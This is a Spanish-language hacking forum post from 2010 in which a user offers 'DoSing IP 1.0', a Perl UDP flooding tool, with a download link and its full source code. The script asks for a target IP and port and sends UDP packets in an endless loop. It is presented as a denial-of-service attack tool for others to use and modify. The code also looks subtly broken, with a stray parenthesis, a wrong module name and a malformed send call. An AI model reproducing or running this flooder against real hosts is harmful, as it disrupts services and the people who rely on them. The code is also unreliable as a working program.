comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

DoSing IP 1.0 - [Creado por SkillmaX] + Source [PERL]

  • 0 Respuestas
  • 1441 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado SkillmaX

  • *
  • Underc0der
  • Mensajes: 106
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • http://lab-skillmax.blogspot.com/
« en: Julio 04, 2010, 10:14:31 am »
Buenas, repasé un poco el tema del perl que hace muchiiisiimo que no lo tocaba, me dio
por reelerme el asunto de los socks, recordé las cosas y pude codearme esta herramienta en perl.

Caracteristicas:


+ Envio de 30000 socks
+ Mayor rapidéz en el envio
+ UDP


Descarga de el archivo compilado:


http://shup.com/Shup/376121/Doss.pl

Source utilizado por si alguien quiere modificarlo:

Código: Perl
  1. #!/usr/bin/perl
  2. =====================================================
  3.             DDoS en perl
  4.          Creado por SkillmaX
  5.          www.indetectables.net
  6.          www.hackingteam.org
  7.           www.ash-labs.org
  8.           www.level-23.org
  9.    
  10. =====================================================
  11. );
  12.  
  13. use io::socket;
  14.  
  15. print "Introduzca la IP: ";
  16. chop ($host = <stdin>);
  17. print "Introduzca el puerto: ";
  18. chop ($port = <stdin>);
  19.  
  20. {
  21. $sock = IO::Socket::INET->new (
  22. PeerAddr => $host,
  23. PeerPort => $port,
  24. Proto => 'udp') || die "$! Ha introducido algun dato incorrecto, vuelva a intentarlo";
  25. }
  26. packets:
  27. while (1) {
  28. $size = rand() * 30000 * 300000;
  29. print ("$host:$port Conexión enviada: $size\n");
  30. send($sock, 0, $size);
  31. }
« Última modificación: Marzo 14, 2015, 09:50:24 am por Expermicid »

 

¿Te gustó el post? COMPARTILO!



Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 3288
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 1558
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Perl] Counter Strike 1.6 Servers List

Iniciado por BigBear

Respuestas: 0
Vistas: 1194
Último mensaje Noviembre 12, 2012, 07:32:11 pm
por BigBear
[Perl] Iframe DDos Attack Tool

Iniciado por BigBear

Respuestas: 0
Vistas: 1335
Último mensaje Julio 03, 2011, 10:06:45 pm
por BigBear
[Perl] Search in google for scan SQLI

Iniciado por BigBear

Respuestas: 0
Vistas: 1345
Último mensaje Julio 03, 2011, 09:49:49 pm
por BigBear